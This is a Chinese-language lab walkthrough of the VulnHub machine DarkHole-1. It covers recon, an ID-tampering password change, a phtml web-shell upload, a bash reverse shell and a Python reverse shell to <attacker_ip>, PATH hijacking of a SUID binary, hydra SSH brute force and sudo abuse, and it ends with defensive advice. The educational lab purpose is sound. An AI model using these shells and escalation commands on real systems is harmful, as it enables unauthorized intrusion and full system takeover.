VulnHub靶机之DarkHole-1
字数 1348 2025-08-10 19:49:05
DarkHole-1 靶机渗透测试教学文档
1. 信息收集阶段
1.1 端口扫描
使用nmap进行扫描:
- 快速扫描:
nmap -T4 -A -v <target_ip> - 深度扫描:
nmap -sV -sC -O -p- <target_ip>
扫描结果:
- 开放端口:
- 80/tcp (HTTP, Apache 2.4.41)
- 22/tcp (SSH)
- 系统信息:Ubuntu, Linux内核
1.2 目录扫描
使用工具如dirsearch或gobuster进行目录扫描:
dirsearch -u http://<target_ip> -e *
1.3 网页源码分析
主页源代码分析:
- 仅有一个外链指向登录功能
- 存在admin用户提示
1.4 SQL注入测试
尝试使用sqlmap进行注入测试:
sqlmap -r request.txt -p username,password --dbs --tamper=space2comment
结果:未发现明显注入点
2. 威胁建模与漏洞利用
2.1 用户注册与越权漏洞
- 注册普通用户
- 登录后发现页面显示用户ID
- 使用Burp Suite抓包修改密码请求
- 修改ID参数为admin的ID
- 成功修改admin密码
2.2 文件上传漏洞
- 以admin身份登录后发现文件上传功能
- 测试上传普通文件(如txt)确认功能正常
- 尝试上传Web Shell:
- 初始尝试php后缀被拦截
- 尝试多种后缀绕过:php, php2, php3, phtml等
- 发现phtml后缀可被解析
上传的Web Shell示例:
<?php system($_GET['cmd']); ?>
2.3 获取初始访问
- 使用蚁剑连接上传的Web Shell
- 或使用PHP代码建立反弹Shell:
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/<attacker_ip>/4444 0>&1'"); ?>
3. 权限提升
3.1 系统信息收集
- 查询用户信息:
cat /etc/passwd - 查询系统内核:
uname -a - 检查SUID权限文件:
find / -perm -u=s -type f 2>/dev/null
发现可疑文件:/home/john/toto
3.2 利用toto文件提权
- 分析toto文件功能:以root权限执行id命令
- 创建恶意id文件:
echo "/bin/bash -ip" > /tmp/id
chmod +x /tmp/id
- 修改PATH环境变量:
export PATH=/tmp:$PATH
- 执行toto文件获取john用户权限
3.3 SSH暴力破解
使用hydra破解SSH密码:
hydra -l john -P /usr/share/wordlists/rockyou.txt ssh://<target_ip>
发现密码:root123
3.4 最终提权到root
- 检查sudo权限:
sudo -l
发现可以root权限执行:
/usr/bin/python3 /home/john/file.py
- 创建恶意Python脚本(file.py):
import os,pty,socket
s=socket.socket()
s.connect(("<attacker_ip>",4444))
[os.dup2(s.fileno(),f)for f in(0,1,2)]
pty.spawn("bash")
- 执行提权:
sudo /usr/bin/python3 /home/john/file.py
4. 关键知识点总结
4.1 渗透测试流程
- 信息收集 → 威胁建模 → 漏洞利用 → 权限提升 → 维持访问
4.2 重要技术点
-
越权漏洞利用:
- 通过修改ID参数实现水平/垂直越权
- Burp Suite抓包修改关键参数
-
文件上传绕过:
- 尝试多种后缀名绕过过滤
- phtml等非常见后缀可能被解析
-
权限提升技巧:
- SUID文件利用
- PATH环境变量劫持
- sudo权限滥用
-
敏感文件查找:
- 使用find命令查找特殊权限文件
- 检查/etc/passwd获取用户信息
4.3 经验教训
- 页面显示admin用户提示应引起注意
- ID参数暴露可能导致越权漏洞
- 文件上传功能需测试多种绕过方式
- 系统内部文件权限配置不当可能导致提权
5. 防御建议
-
Web应用安全:
- 实施严格的权限验证
- 对用户输入进行严格过滤
- 限制文件上传类型,使用白名单机制
-
系统安全:
- 避免不必要的SUID权限设置
- 限制sudo权限范围
- 定期审计系统文件和权限
-
安全监控:
- 监控异常登录行为
- 记录关键操作日志
- 实施文件完整性监控